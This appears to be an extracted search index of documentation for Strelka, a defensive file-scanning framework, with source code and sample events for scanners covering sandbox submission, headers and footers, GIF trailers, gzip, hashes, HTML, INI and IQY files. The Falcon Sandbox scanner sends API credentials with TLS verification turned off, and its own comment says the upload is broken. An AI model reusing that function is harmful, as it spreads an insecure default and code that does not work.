test_scan_event = {\n \"elapsed\": 0.001,\n \"flags\": [],\n \"sourcefile\": 0.001,\n \"exiftoolversion\": 12.6,\n \"filename\": 0.001,\n \"directory\": \"/tmp\",\n \"filesize\": \"51 kB\",\n \"filemodifydate\": 0.001,\n \"fileaccessdate\": 0.001,\n \"fileinodechangedate\": 0.001,\n \"filepermissions\": \"-rw-------\",\n \"filetype\": \"DOC\",\n \"filetypeextension\": \"doc\",\n \"mimetype\": \"application/msword\",\n \"identification\": \"Word 8.0\",\n \"languagecode\": \"English (US)\",\n \"docflags\": \"Has picture, 1Table, ExtChar\",\n \"system\": \"Windows\",\n \"word97\": \"No\",\n \"title\": \"\",\n \"subject\": \"\",\n \"author\": \"Ryan.OHoro\",\n \"keywords\": \"\",\n \"comments\": \"\",\n \"template\": \"Normal.dotm\",\n \"lastmodifiedby\": \"Ryan.OHoro\",\n \"software\": \"Microsoft Office Word\",\n \"createdate\": \"2022:12:16 19:48:00\",\n \"modifydate\": \"2022:12:16 19:48:00\",\n \"security\": \"None\",\n \"codepage\": \"Windows Latin 1 (Western European)\",\n \"company\": \"Target Corporation\",\n \"charcountwithspaces\": 2877,\n \"appversion\": 16.0,\n \"scalecrop\": \"No\",\n \"linksuptodate\": \"No\",\n \"shareddoc\": \"No\",\n \"hyperlinkschanged\": \"No\",\n \"titleofparts\": \"\",\n \"headingpairs\": \"Title, 1\",\n \"compobjusertypelen\": 32,\n \"compobjusertype\": \"Microsoft Word 97-2003 Document\",\n \"lastprinted\": \"0000:00:00 00:00:00\",\n \"revisionnumber\": 2,\n \"totaledittime\": \"1 minute\",\n \"words\": 430,\n \"characters\": 2452,\n \"pages\": 1,\n \"paragraphs\": 5,\n \"lines\": 20,\n }\nSends files to Falcon Sandbox.
Attributes:
api_key: API key used for authenticating to Falcon Sandbox. This is loaded\n from the scanner options or the environment variable\n 'FS_API_KEY'.\napi_secret: API secret key used for authenticating to Falcon Sandbox. This is loaded\n from the scanner options or the environment variable\n 'FS_API_SECKEY'.\nlib: URL of the Falcon Sandbox API inteface.\nauth_check: Boolean that determines if the username and password were\n previously checked. This ensures that the username and password\n are only checked once per worker.\ndepth: Recursion depth for file submission to Falcon Sandbox. Defaults to 0. env_id: List of sandbox environments to submit sample to. Public Sandbox environments ID: 300: 'Linux (Ubuntu 16.04, 64 bit)', 200: 'Android Static Analysis\u2019, 160: 'Windows 10 64 bit\u2019, 110: 'Windows 7 64 bit\u2019, 100: \u2018Windows 7 32 bit\u2019 Defaults to [100]
Source code instrelka/src/python/strelka/scanners/scan_falcon_sandbox.py class ScanFalconSandbox(strelka.Scanner):\n \"\"\"Sends files to Falcon Sandbox.\n\n Attributes:\n\n api_key: API key used for authenticating to Falcon Sandbox. This is loaded\n from the scanner options or the environment variable\n 'FS_API_KEY'.\n api_secret: API secret key used for authenticating to Falcon Sandbox. This is loaded\n from the scanner options or the environment variable\n 'FS_API_SECKEY'.\n lib: URL of the Falcon Sandbox API inteface.\n auth_check: Boolean that determines if the username and password were\n previously checked. This ensures that the username and password\n are only checked once per worker.\n\n\n Options:\n depth: Recursion depth for file submission to Falcon Sandbox.\n Defaults to 0.\n env_id: List of sandbox environments to submit sample to.\n Public Sandbox environments ID: 300: 'Linux (Ubuntu 16.04, 64 bit)',\n 200: 'Android Static Analysis\u2019,\n 160: 'Windows 10 64 bit\u2019,\n 110: 'Windows 7 64 bit\u2019,\n 100: \u2018Windows 7 32 bit\u2019\n Defaults to [100]\n \"\"\"\n\n def init(self):\n self.api_key = None\n self.api_secret = None\n self.server = \"\"\n self.auth_check = False\n self.depth = 0\n self.env_id = [100]\n\n def submit_file(self, file, env_id):\n url = self.server + \"/api/submit\"\n # TODO data is never referenced so this will crash\n files = {\"file\": None} # data\n\n data = {\"nosharevt\": 1, \"environmentId\": env_id, \"allowCommunityAccess\": 1}\n\n try:\n response = requests.post(\n url,\n data=data,\n params={},\n verify=False,\n files=files,\n timeout=self.timeout,\n headers={\"User-Agent\": \"VxApi CLI Connector\"},\n auth=(HTTPBasicAuth(self.api_key, self.api_secret)),\n )\n\n if response.status_code == 200 and response.json()[\"response_code\"] == 0:\n sha256 = response.json()[\"response\"][\n \"sha256\"\n ] # Successfully submitted file\n self.event[\"sha256\"] = sha256\n\n elif response.status_code == 200 and response.json()[\"response_code\"] == -1:\n self.flags.append(\n \"duplicate_submission\"\n ) # Submission Failed - duplicate\n\n else:\n self.flags.append(\"upload_failed\") # Upload Failed\n\n except requests.exceptions.ConnectTimeout:\n self.flags.append(\"connect_timeout\")\n\n return\n\n def scan(self, data, file, options, expire_at):\n self.depth = options.get(\"depth\", 0)\n\n if file.depth > self.depth:\n self.flags.append(\"file_depth_exceeded\")\n return\n\n self.server = options.get(\"server\", \"\")\n self.priority = options.get(\"priority\", 3)\n self.timeout = options.get(\"timeout\", 60)\n self.env_id = options.get(\"env_id\", [100])\n\n if not self.auth_check:\n self.api_key = options.get(\"api_key\", None) or os.environ.get(\"FS_API_KEY\")\n self.api_secret = options.get(\"api_secret\", None) or os.environ.get(\n \"FS_API_SECKEY\"\n )\n self.auth_check = True\n\n # Allow submission to multiple environments (e.g. 32-bit and 64-bit)\n for env in self.env_id:\n self.submit_file(file, env)\nThe features of this scanner are detailed below. These features represent the capabilities and the type of analysis the scanner can perform. This may include support for Indicators of Compromise (IOC), the ability to emit files for further analysis, and the presence of extended documentation for complex analysis techniques.
Feature SupportIOC Support Emit Files Extended Docs Malware Scanner Image Thumbnails"},{"location":"Scanners/ScanFalconSandbox.html#tastes","title":"Tastes","text":"Strelka's file distribution system assigns scanners to files based on 'flavors' and 'tastes'. Flavors describe the type of file, typically determined by MIME types from libmagic, matches from YARA rules, or characteristics of parent files. Tastes are the criteria used within Strelka to determine which scanners are applied to which files, with positive and negative tastes defining files to be included or excluded respectively.
Source Filetype Include / Exclude"},{"location":"Scanners/ScanFalconSandbox.html#scanner-fields","title":"Scanner Fields","text":"This section provides a list of fields that are extracted from the files processed by this scanner. These fields include the data elements that the scanner extracts from each file, representing the analytical results produced by the scanner. If the test file is missing or cannot be parsed, this section will not contain any data.
Failure
No fields to display. The test file may not exist or could not be processed.
"},{"location":"Scanners/ScanFalconSandbox.html#sample-event","title":"Sample Event","text":"Below is a sample event generated by this scanner, demonstrating the kind of output that can be expected when it processes a file. This sample is derived from a mock scan event configured in the scanner's test file. If no test file is available, this section will not display a sample event.
Failure
Test file not found for scanner falcon_sandbox
"},{"location":"Scanners/ScanFooter.html","title":"ScanFooter","text":"Collects file footer.
Optionslength: Number of footer characters to log as metadata. Defaults to 50. encodings: List of which fields/encodings should be emitted, one of classic, raw, hex, backslash
Source code instrelka/src/python/strelka/scanners/scan_footer.py class ScanFooter(strelka.Scanner):\n \"\"\"Collects file footer.\n\n Options:\n length: Number of footer characters to log as metadata.\n Defaults to 50.\n encodings: List of which fields/encodings should be emitted, one of classic, raw, hex, backslash\n \"\"\"\n\n def scan(self, data, file, options, expire_at):\n length = options.get(\"length\", 50)\n encodings = options.get(\"encodings\", [\"classic\"])\n\n if \"classic\" in encodings:\n self.event[\"footer\"] = data[-length:]\n if \"raw\" in encodings:\n self.event[\"raw\"] = data[-length:]\n if \"hex\" in encodings:\n self.event[\"hex\"] = binascii.hexlify(data[-length:])\n if \"backslash\" in encodings:\n self.event[\"backslash\"] = str(data[-length:])[2:-1]\nThe features of this scanner are detailed below. These features represent the capabilities and the type of analysis the scanner can perform. This may include support for Indicators of Compromise (IOC), the ability to emit files for further analysis, and the presence of extended documentation for complex analysis techniques.
Feature SupportIOC Support Emit Files Extended Docs Malware Scanner Image Thumbnails"},{"location":"Scanners/ScanFooter.html#tastes","title":"Tastes","text":"Strelka's file distribution system assigns scanners to files based on 'flavors' and 'tastes'. Flavors describe the type of file, typically determined by MIME types from libmagic, matches from YARA rules, or characteristics of parent files. Tastes are the criteria used within Strelka to determine which scanners are applied to which files, with positive and negative tastes defining files to be included or excluded respectively.
Source Filetype Include / Exclude*"},{"location":"Scanners/ScanFooter.html#scanner-fields","title":"Scanner Fields","text":"This section provides a list of fields that are extracted from the files processed by this scanner. These fields include the data elements that the scanner extracts from each file, representing the analytical results produced by the scanner. If the test file is missing or cannot be parsed, this section will not contain any data.
Field Name Field Typebackslash str elapsed str flags list footer bytes hex bytes raw bytes"},{"location":"Scanners/ScanFooter.html#sample-event","title":"Sample Event","text":"Below is a sample event generated by this scanner, demonstrating the kind of output that can be expected when it processes a file. This sample is derived from a mock scan event configured in the scanner's test file. If no test file is available, this section will not display a sample event.
test_scan_event = {\n \"elapsed\": 0.001,\n \"flags\": [],\n \"footer\": b\"itae. Et tortor consequat id porta nibh venenatis.\",\n \"backslash\": \"itae. Et tortor consequat id porta nibh venenatis.\",\n \"hex\": b\"697461652e20457420746f72746f7220636f6e73657175617420696420706f727461206e6962682076656e656e617469732e\",\n \"raw\": b\"itae. Et tortor consequat id porta nibh venenatis.\",\n }\nExtracts data embedded in GIF files.
This scanner extracts data that is inserted past the GIF trailer.
Source code instrelka/src/python/strelka/scanners/scan_gif.py class ScanGif(strelka.Scanner):\n \"\"\"Extracts data embedded in GIF files.\n\n This scanner extracts data that is inserted past the GIF trailer.\n \"\"\"\n\n def scan(self, data, file, options, expire_at):\n if not data.endswith(b\"\\x00\\x3b\"):\n trailer_index = data.rfind(b\"\\x00\\x3b\")\n if trailer_index == -1:\n self.flags.append(\"no_trailer\")\n else:\n trailer_data = data[trailer_index + 2 :]\n if trailer_data:\n self.event[\"trailer_index\"] = trailer_index\n\n # Send extracted file back to Strelka\n self.emit_file(trailer_data)\nThe features of this scanner are detailed below. These features represent the capabilities and the type of analysis the scanner can perform. This may include support for Indicators of Compromise (IOC), the ability to emit files for further analysis, and the presence of extended documentation for complex analysis techniques.
Feature SupportIOC Support Emit Files Extended Docs Malware Scanner Image Thumbnails"},{"location":"Scanners/ScanGif.html#tastes","title":"Tastes","text":"Strelka's file distribution system assigns scanners to files based on 'flavors' and 'tastes'. Flavors describe the type of file, typically determined by MIME types from libmagic, matches from YARA rules, or characteristics of parent files. Tastes are the criteria used within Strelka to determine which scanners are applied to which files, with positive and negative tastes defining files to be included or excluded respectively.
Source Filetype Include / Excludegif_file image/gif"},{"location":"Scanners/ScanGif.html#scanner-fields","title":"Scanner Fields","text":"This section provides a list of fields that are extracted from the files processed by this scanner. These fields include the data elements that the scanner extracts from each file, representing the analytical results produced by the scanner. If the test file is missing or cannot be parsed, this section will not contain any data.
Field Name Field Typeelapsed str flags list trailer_index int"},{"location":"Scanners/ScanGif.html#sample-event","title":"Sample Event","text":"Below is a sample event generated by this scanner, demonstrating the kind of output that can be expected when it processes a file. This sample is derived from a mock scan event configured in the scanner's test file. If no test file is available, this section will not display a sample event.
test_scan_event = {\"elapsed\": 0.001, \"flags\": [], \"trailer_index\": 3806}\nDecompresses gzip files.
Source code instrelka/src/python/strelka/scanners/scan_gzip.py class ScanGzip(strelka.Scanner):\n \"\"\"Decompresses gzip files.\"\"\"\n\n def scan(self, data, file, options, expire_at):\n try:\n with io.BytesIO(data) as gzip_io:\n with gzip.GzipFile(fileobj=gzip_io) as gzip_obj:\n decompressed = gzip_obj.read()\n self.event[\"size\"] = len(decompressed)\n\n # Send extracted file back to Strelka\n self.emit_file(decompressed, name=file.name)\n except gzip.BadGzipFile:\n self.flags.append(\"bad_gzip_file\")\n except zlib.error:\n self.flags.append(\"bad_gzip_file\")\n except EOFError:\n self.flags.append(\"eof_error\")\nThe features of this scanner are detailed below. These features represent the capabilities and the type of analysis the scanner can perform. This may include support for Indicators of Compromise (IOC), the ability to emit files for further analysis, and the presence of extended documentation for complex analysis techniques.
Feature SupportIOC Support Emit Files Extended Docs Malware Scanner Image Thumbnails"},{"location":"Scanners/ScanGzip.html#tastes","title":"Tastes","text":"Strelka's file distribution system assigns scanners to files based on 'flavors' and 'tastes'. Flavors describe the type of file, typically determined by MIME types from libmagic, matches from YARA rules, or characteristics of parent files. Tastes are the criteria used within Strelka to determine which scanners are applied to which files, with positive and negative tastes defining files to be included or excluded respectively.
Source Filetype Include / Excludeapplication/gzip application/x-gzip gzip_file"},{"location":"Scanners/ScanGzip.html#scanner-fields","title":"Scanner Fields","text":"This section provides a list of fields that are extracted from the files processed by this scanner. These fields include the data elements that the scanner extracts from each file, representing the analytical results produced by the scanner. If the test file is missing or cannot be parsed, this section will not contain any data.
Field Name Field Typeelapsed str flags list size int"},{"location":"Scanners/ScanGzip.html#sample-event","title":"Sample Event","text":"Below is a sample event generated by this scanner, demonstrating the kind of output that can be expected when it processes a file. This sample is derived from a mock scan event configured in the scanner's test file. If no test file is available, this section will not display a sample event.
test_scan_event = {\"elapsed\": 0.001, \"flags\": [], \"size\": 4015}\nCalculates file hash values.
Source code instrelka/src/python/strelka/scanners/scan_hash.py class ScanHash(strelka.Scanner):\n \"\"\"Calculates file hash values.\"\"\"\n\n def scan(self, data, file, options, expire_at):\n self.event[\"md5\"] = md5(data).hexdigest()\n self.event[\"sha1\"] = sha1(data).hexdigest()\n self.event[\"sha256\"] = sha256(data).hexdigest()\n self.event[\"ssdeep\"] = ssdeep_hash(data)\n self.event[\"tlsh\"] = tlsh_hash(data)\nThe features of this scanner are detailed below. These features represent the capabilities and the type of analysis the scanner can perform. This may include support for Indicators of Compromise (IOC), the ability to emit files for further analysis, and the presence of extended documentation for complex analysis techniques.
Feature SupportIOC Support Emit Files Extended Docs Malware Scanner Image Thumbnails"},{"location":"Scanners/ScanHash.html#tastes","title":"Tastes","text":"Strelka's file distribution system assigns scanners to files based on 'flavors' and 'tastes'. Flavors describe the type of file, typically determined by MIME types from libmagic, matches from YARA rules, or characteristics of parent files. Tastes are the criteria used within Strelka to determine which scanners are applied to which files, with positive and negative tastes defining files to be included or excluded respectively.
Source Filetype Include / Exclude*"},{"location":"Scanners/ScanHash.html#scanner-fields","title":"Scanner Fields","text":"This section provides a list of fields that are extracted from the files processed by this scanner. These fields include the data elements that the scanner extracts from each file, representing the analytical results produced by the scanner. If the test file is missing or cannot be parsed, this section will not contain any data.
Field Name Field Typeelapsed str flags list md5 str sha1 str sha256 str ssdeep str tlsh str"},{"location":"Scanners/ScanHash.html#sample-event","title":"Sample Event","text":"Below is a sample event generated by this scanner, demonstrating the kind of output that can be expected when it processes a file. This sample is derived from a mock scan event configured in the scanner's test file. If no test file is available, this section will not display a sample event.
test_scan_event = {\n \"elapsed\": 0.001,\n \"flags\": [],\n \"md5\": \"f58ebb5ce3e07a9dfc6dcca556b58291\",\n \"sha1\": \"67198a3ca72c49fb263f4a9749b4b79c50510155\",\n \"sha256\": \"f2f667e330da9f190eda77c74781963a0495c3953a653747fe475b99421efdda\",\n \"ssdeep\": \"48:6XZmqLorrAtzkuPS/6NMn3BCiLMjOiuCOlXTuZKFWpfbNtm:GmbWl8xCYDlTunzNt\",\n \"tlsh\": \"T1D281701183EA87B6E9334732BDB363804279FB41DCAB4B6F2884530B2D163544DA3F61\",\n }\nCollects file header.
Optionslength: Number of header characters to log as metadata. Defaults to 50. encodings: List of which fields/encodings should be emitted, one of classic, raw, hex, backslash
Source code instrelka/src/python/strelka/scanners/scan_header.py class ScanHeader(strelka.Scanner):\n \"\"\"Collects file header.\n\n Options:\n length: Number of header characters to log as metadata.\n Defaults to 50.\n encodings: List of which fields/encodings should be emitted, one of classic, raw, hex, backslash\n \"\"\"\n\n def scan(self, data, file, options, expire_at):\n length = options.get(\"length\", 50)\n encodings = options.get(\"encodings\", [\"classic\"])\n\n if \"classic\" in encodings:\n self.event[\"header\"] = data[:length]\n if \"raw\" in encodings:\n self.event[\"raw\"] = data[:length]\n if \"hex\" in encodings:\n self.event[\"hex\"] = binascii.hexlify(data[:length])\n if \"backslash\" in encodings:\n self.event[\"backslash\"] = str(data[:length])[2:-1]\nThe features of this scanner are detailed below. These features represent the capabilities and the type of analysis the scanner can perform. This may include support for Indicators of Compromise (IOC), the ability to emit files for further analysis, and the presence of extended documentation for complex analysis techniques.
Feature SupportIOC Support Emit Files Extended Docs Malware Scanner Image Thumbnails"},{"location":"Scanners/ScanHeader.html#tastes","title":"Tastes","text":"Strelka's file distribution system assigns scanners to files based on 'flavors' and 'tastes'. Flavors describe the type of file, typically determined by MIME types from libmagic, matches from YARA rules, or characteristics of parent files. Tastes are the criteria used within Strelka to determine which scanners are applied to which files, with positive and negative tastes defining files to be included or excluded respectively.
Source Filetype Include / Exclude*"},{"location":"Scanners/ScanHeader.html#scanner-fields","title":"Scanner Fields","text":"This section provides a list of fields that are extracted from the files processed by this scanner. These fields include the data elements that the scanner extracts from each file, representing the analytical results produced by the scanner. If the test file is missing or cannot be parsed, this section will not contain any data.
Field Name Field Typebackslash str elapsed str flags list header bytes hex bytes raw bytes"},{"location":"Scanners/ScanHeader.html#sample-event","title":"Sample Event","text":"Below is a sample event generated by this scanner, demonstrating the kind of output that can be expected when it processes a file. This sample is derived from a mock scan event configured in the scanner's test file. If no test file is available, this section will not display a sample event.
test_scan_event = {\n \"elapsed\": 0.001,\n \"flags\": [],\n \"header\": b\"Lorem ipsum dolor sit amet, consectetur adipiscing\",\n \"backslash\": \"Lorem ipsum dolor sit amet, consectetur adipiscing\",\n \"hex\": b\"4c6f72656d20697073756d20646f6c6f722073697420616d65742c20636f6e73656374657475722061646970697363696e67\",\n \"raw\": b\"Lorem ipsum dolor sit amet, consectetur adipiscing\",\n }\nCollects metadata and extracts embedded scripts from HTML files.
Optionsparser: Sets the HTML parser used during scanning. Defaults to 'html.parser'.
Source code instrelka/src/python/strelka/scanners/scan_html.py class ScanHtml(strelka.Scanner):\n \"\"\"Collects metadata and extracts embedded scripts from HTML files.\n\n Options:\n parser: Sets the HTML parser used during scanning.\n Defaults to 'html.parser'.\n \"\"\"\n\n def scan(self, data, file, options, expire_at):\n parser = options.get(\"parser\", \"html.parser\")\n max_hyperlinks = options.get(\"max_hyperlinks\", 50)\n\n self.event[\"total\"] = {\n \"scripts\": 0,\n \"forms\": 0,\n \"inputs\": 0,\n \"frames\": 0,\n \"extracted\": 0,\n }\n\n try:\n soup = bs4.BeautifulSoup(data, parser)\n\n if soup.title:\n self.event[\"title\"] = soup.title.text\n\n hyperlinks = []\n hyperlinks.extend(soup.find_all(\"a\", href=True))\n hyperlinks.extend(soup.find_all(\"img\", src=True))\n self.event.setdefault(\"hyperlinks\", [])\n for hyperlink in hyperlinks:\n link = hyperlink.get(\"href\") or hyperlink.get(\"src\")\n\n if link and link.startswith(\"data:\") and \";base64,\" in link:\n hyperlink_data = link.split(\";base64,\")[1]\n self.emit_file(\n hyperlink_data.encode(),\n name=\"base64_hyperlink\",\n flavors=[\"base64\"],\n )\n else:\n if link not in self.event[\"hyperlinks\"]:\n self.event[\"hyperlinks\"].append(link)\n\n # Gather count of links and reduce potential link duplicates and restrict amount of\n # links returned using the configurable max_hyperlinks.\n if self.event[\"hyperlinks\"]:\n self.event[\"hyperlinks_count\"] = len(self.event[\"hyperlinks\"])\n self.event[\"hyperlinks\"] = self.event[\"hyperlinks\"][:max_hyperlinks]\n\n forms = soup.find_all(\"form\")\n self.event[\"total\"][\"forms\"] = len(forms)\n self.event.setdefault(\"forms\", [])\n for form in forms:\n form_entry = {\n \"action\": form.get(\"action\"),\n \"method\": form.get(\"method\"),\n }\n if form_entry not in self.event[\"forms\"]:\n self.event[\"forms\"].append(form_entry)\n\n frames = []\n frames.extend(soup.find_all(\"frame\"))\n frames.extend(soup.find_all(\"iframe\"))\n self.event[\"total\"][\"frames\"] = len(frames)\n self.event.setdefault(\"frames\", [])\n for frame in frames:\n frame_entry = {\n \"src\": frame.get(\"src\"),\n \"name\": frame.get(\"name\"),\n \"height\": frame.get(\"height\"),\n \"width\": frame.get(\"width\"),\n \"border\": frame.get(\"border\"),\n \"id\": frame.get(\"id\"),\n \"style\": frame.get(\"style\"),\n }\n if frame_entry not in self.event[\"frames\"]:\n self.event[\"frames\"].append(frame_entry)\n\n inputs = soup.find_all(\"input\")\n self.event[\"total\"][\"inputs\"] = len(inputs)\n self.event.setdefault(\"inputs\", [])\n for html_input in inputs:\n input_entry = {\n \"type\": html_input.get(\"type\"),\n \"name\": html_input.get(\"name\"),\n \"value\": html_input.get(\"value\"),\n }\n if input_entry not in self.event[\"inputs\"]:\n self.event[\"inputs\"].append(input_entry)\n\n scripts = soup.find_all(\"script\")\n self.event[\"total\"][\"scripts\"] = len(scripts)\n self.event.setdefault(\"scripts\", [])\n for index, script in enumerate(scripts):\n script_flavors = [\n script.get(\"language\", \"\").lower(),\n script.get(\"type\", \"\").lower(),\n ]\n script_entry = {\n \"src\": script.get(\"src\"),\n \"language\": script.get(\"language\"),\n \"type\": script.get(\"type\"),\n }\n if script_entry not in self.event[\"scripts\"]:\n self.event[\"scripts\"].append(script_entry)\n\n if script.text:\n self.emit_file(\n script.text.encode(),\n name=f\"script_{index}\",\n flavors=script_flavors,\n )\n self.event[\"total\"][\"extracted\"] += 1\n\n spans = soup.find_all(\"span\")\n self.event[\"total\"][\"spans\"] = len(spans)\n self.event.setdefault(\"spans\", [])\n for span in spans:\n span_entry = {\n \"class\": span.get(\"class\"),\n \"style\": span.get(\"style\"),\n }\n if span_entry not in self.event[\"spans\"]:\n self.event[\"spans\"].append(span_entry)\n\n divs = soup.find_all(\"div\")\n for div in divs:\n div_content = div.string\n if div_content is None:\n continue\n\n is_maybe_base64 = base64Re.search(div_content)\n\n if is_maybe_base64:\n self.emit_file(div_content, name=\"base64_div\", flavors=[\"base64\"])\n\n except TypeError:\n self.flags.append(\"type_error\")\nThe features of this scanner are detailed below. These features represent the capabilities and the type of analysis the scanner can perform. This may include support for Indicators of Compromise (IOC), the ability to emit files for further analysis, and the presence of extended documentation for complex analysis techniques.
Feature SupportIOC Support Emit Files Extended Docs Malware Scanner Image Thumbnails"},{"location":"Scanners/ScanHtml.html#tastes","title":"Tastes","text":"Strelka's file distribution system assigns scanners to files based on 'flavors' and 'tastes'. Flavors describe the type of file, typically determined by MIME types from libmagic, matches from YARA rules, or characteristics of parent files. Tastes are the criteria used within Strelka to determine which scanners are applied to which files, with positive and negative tastes defining files to be included or excluded respectively.
Source Filetype Include / Excludehta_file html_file text/html"},{"location":"Scanners/ScanHtml.html#scanner-fields","title":"Scanner Fields","text":"This section provides a list of fields that are extracted from the files processed by this scanner. These fields include the data elements that the scanner extracts from each file, representing the analytical results produced by the scanner. If the test file is missing or cannot be parsed, this section will not contain any data.
Field Name Field Typeelapsed str flags list forms list frames list hyperlinks list hyperlinks_count int inputs list scripts list scripts.language NoneType scripts.src str scripts.src NoneType scripts.type str scripts.type NoneType spans list spans.class NoneType spans.style str title str total dict total.extracted int total.forms int total.frames int total.inputs int total.scripts int total.spans int"},{"location":"Scanners/ScanHtml.html#sample-event","title":"Sample Event","text":"Below is a sample event generated by this scanner, demonstrating the kind of output that can be expected when it processes a file. This sample is derived from a mock scan event configured in the scanner's test file. If no test file is available, this section will not display a sample event.
test_scan_event = {\n \"elapsed\": 0.001,\n \"flags\": [],\n \"total\": {\n \"scripts\": 2,\n \"forms\": 0,\n \"inputs\": 0,\n \"frames\": 0,\n \"extracted\": 1,\n \"spans\": 35,\n },\n \"title\": \"Lorem Ipsum\",\n \"hyperlinks\": [],\n \"forms\": [],\n \"frames\": [],\n \"inputs\": [],\n \"scripts\": [\n {\n \"src\": \"https://example.com/example.js\",\n \"language\": None,\n \"type\": \"text/javascript\",\n },\n {\"src\": None, \"language\": None, \"type\": None},\n ],\n \"spans\": [\n {\"class\": None, \"style\": \"font-size:11pt\"},\n {\"class\": None, \"style\": \"background-color:white\"},\n {\n \"class\": None,\n \"style\": \"font-family:Calibri,sans-serif\",\n },\n {\"class\": None, \"style\": \"font-size:52.5pt\"},\n {\"class\": None, \"style\": \"color:black\"},\n {\"class\": None, \"style\": \"font-size:12pt\"},\n {\n \"class\": None,\n \"style\": 'font-family:\"Times New Roman\",serif',\n },\n {\"class\": None, \"style\": \"font-size:10.5pt\"},\n {\n \"class\": None,\n \"style\": 'font-family:\"Arial\",sans-serif',\n },\n ],\n }\nParses keys from INI files.
Source code instrelka/src/python/strelka/scanners/scan_ini.py class ScanIni(strelka.Scanner):\n \"\"\"Parses keys from INI files.\"\"\"\n\n def scan(self, data, file, options, expire_at):\n self.event[\"comments\"] = []\n self.event[\"keys\"] = []\n self.event[\"sections\"] = []\n\n section = \"\"\n ini = data.splitlines()\n for key in ini:\n key = key.strip()\n if not key:\n continue\n\n if key.startswith(b\"[\") and key.endswith(b\"]\"):\n section = key[1:-1]\n self.event[\"sections\"].append(section)\n elif key.startswith(b\"#\") or key.startswith(b\";\"):\n self.event[\"comments\"].append(key)\n else:\n split_key = key.split(b\"=\")\n if len(split_key) == 1:\n self.event[\"keys\"].append(\n {\n \"section\": section,\n \"value\": split_key[0].strip().strip(b'\"\\'\"'),\n }\n )\n elif len(split_key) == 2:\n self.event[\"keys\"].append(\n {\n \"section\": section,\n \"name\": split_key[0].strip().strip(b'\"\\'\"'),\n \"value\": split_key[1].strip().strip(b'\"\\'\"'),\n }\n )\nThe features of this scanner are detailed below. These features represent the capabilities and the type of analysis the scanner can perform. This may include support for Indicators of Compromise (IOC), the ability to emit files for further analysis, and the presence of extended documentation for complex analysis techniques.
Feature SupportIOC Support Emit Files Extended Docs Malware Scanner Image Thumbnails"},{"location":"Scanners/ScanIni.html#tastes","title":"Tastes","text":"Strelka's file distribution system assigns scanners to files based on 'flavors' and 'tastes'. Flavors describe the type of file, typically determined by MIME types from libmagic, matches from YARA rules, or characteristics of parent files. Tastes are the criteria used within Strelka to determine which scanners are applied to which files, with positive and negative tastes defining files to be included or excluded respectively.
Source Filetype Include / Exclude"},{"location":"Scanners/ScanIni.html#scanner-fields","title":"Scanner Fields","text":"This section provides a list of fields that are extracted from the files processed by this scanner. These fields include the data elements that the scanner extracts from each file, representing the analytical results produced by the scanner. If the test file is missing or cannot be parsed, this section will not contain any data.
Field Name Field Typecomments list elapsed str flags list keys list keys.name bytes keys.section bytes keys.value bytes sections list"},{"location":"Scanners/ScanIni.html#sample-event","title":"Sample Event","text":"Below is a sample event generated by this scanner, demonstrating the kind of output that can be expected when it processes a file. This sample is derived from a mock scan event configured in the scanner's test file. If no test file is available, this section will not display a sample event.
test_scan_event = {\n \"elapsed\": 0.001,\n \"flags\": [],\n \"comments\": [\n b\"; Lorem ipsum dolor sit amet, consectetur adipiscing elit,\",\n b\";sed do eiusmod tempor incididunt ut labore et dolore magna\",\n b\";aliqua.\",\n b\"# Elementum sagittis vitae et leo duis ut diam.\",\n b\"# Nulla facilisi etiam dignissim diam quis.\",\n ],\n \"keys\": [\n {\"section\": b\"Lorem\", \"name\": b\"Update\", \"value\": b\"300\"},\n {\"section\": b\"Lorem\", \"name\": b\"Repeat\", \"value\": b\"24\"},\n {\"section\": b\"Ipsum\", \"name\": b\"Name\", \"value\": b\"Lorem Ipsum\"},\n {\"section\": b\"Ipsum\", \"name\": b\"Author\", \"value\": b\"Lorem\"},\n {\n \"section\": b\"Ipsum\",\n \"name\": b\"Information\",\n \"value\": b\"Volutpat commodo sed egestas egestas.\",\n },\n {\"section\": b\"Ipsum\", \"name\": b\"License\", \"value\": b\"Ipsum\"},\n {\"section\": b\"Ipsum\", \"name\": b\"Version\", \"value\": b\"1.0.1\"},\n ],\n \"sections\": [b\"Lorem\", b\"Ipsum\"],\n }\nStrelka scanner for extracting URLs from IQY (Excel Web Query Internet Inquire) files.
IQY files are typically used to import data into Excel from the web. They often contain URLs that specify the data source. This scanner aims to extract these URLs and process them for IOCs.
The following is a typical format of an IQY file: WEB 1 [URL] [optional parameters]
Reference for IQY file format: https://learn.microsoft.com/en-us/office/vba/api/excel.querytable
Source code instrelka/src/python/strelka/scanners/scan_iqy.py class ScanIqy(strelka.Scanner):\n \"\"\"\n Strelka scanner for extracting URLs from IQY (Excel Web Query Internet Inquire) files.\n\n IQY files are typically used to import data into Excel from the web. They often contain URLs\n that specify the data source. This scanner aims to extract these URLs and process them for IOCs.\n\n The following is a typical format of an IQY file:\n WEB\n 1\n [URL]\n [optional parameters]\n\n Reference for IQY file format: https://learn.microsoft.com/en-us/office/vba/api/excel.querytable\n \"\"\"\n\n def scan(self, data, file, options, expire_at):\n \"\"\"\n Processes the provided IQY data to extract URLs.\n\n Attempts to decode the data and applies a regex pattern to identify and extract URLs.\n Extracted URLs are added to the scanner's IOC list.\n\n Args:\n data (bytes): Data associated with the IQY file to be scanned.\n file (strelka.File): File object associated with the data.\n options (dict): Options to be applied during the scan.\n expire_at (int): Expiration timestamp for extracted files.\n \"\"\"\n try:\n # Compile regex pattern for URL detection\n address_pattern = re.compile(\n r\"\\b(?:http|https|ftp|ftps|file|smb)://\\S+|\"\n r\"\\\\{2}\\w+\\\\(?:[\\w$]+\\\\)*[\\w$]+\",\n re.IGNORECASE,\n )\n\n # Attempt to decode the data\n try:\n decoded_data = data.decode(\"utf-8\")\n except UnicodeDecodeError:\n decoded_data = data.decode(\"latin-1\")\n\n # Extract addresses from the data\n addresses = set(\n match.group().strip()\n for line in decoded_data.splitlines()\n if (match := address_pattern.search(line))\n )\n\n # Add extracted URLs to the scanner's IOC list\n if addresses:\n self.event[\"address_found\"] = True\n self.add_iocs(list(addresses))\n else:\n self.event[\"address_found\"] = False\n\n except UnicodeDecodeError as e:\n self.flags.append(f\"Unicode decoding error: {e}\")\n except Exception as e:\n self.flags.append(f\"Unexpected exception: {e}\")\nscan(data, file, options, expire_at)","text":"Processes the provided IQY data to extract URLs.
Attempts to decode the data and applies a regex pattern to identify and extract URLs. Extracted URLs are added to the scanner's IOC list.
Parameters:
Name Type Description Defaultdata bytes Data associated with the IQY file to be scanned.
requiredfile File File object associated with the data.
requiredoptions dict Options to be applied during the scan.
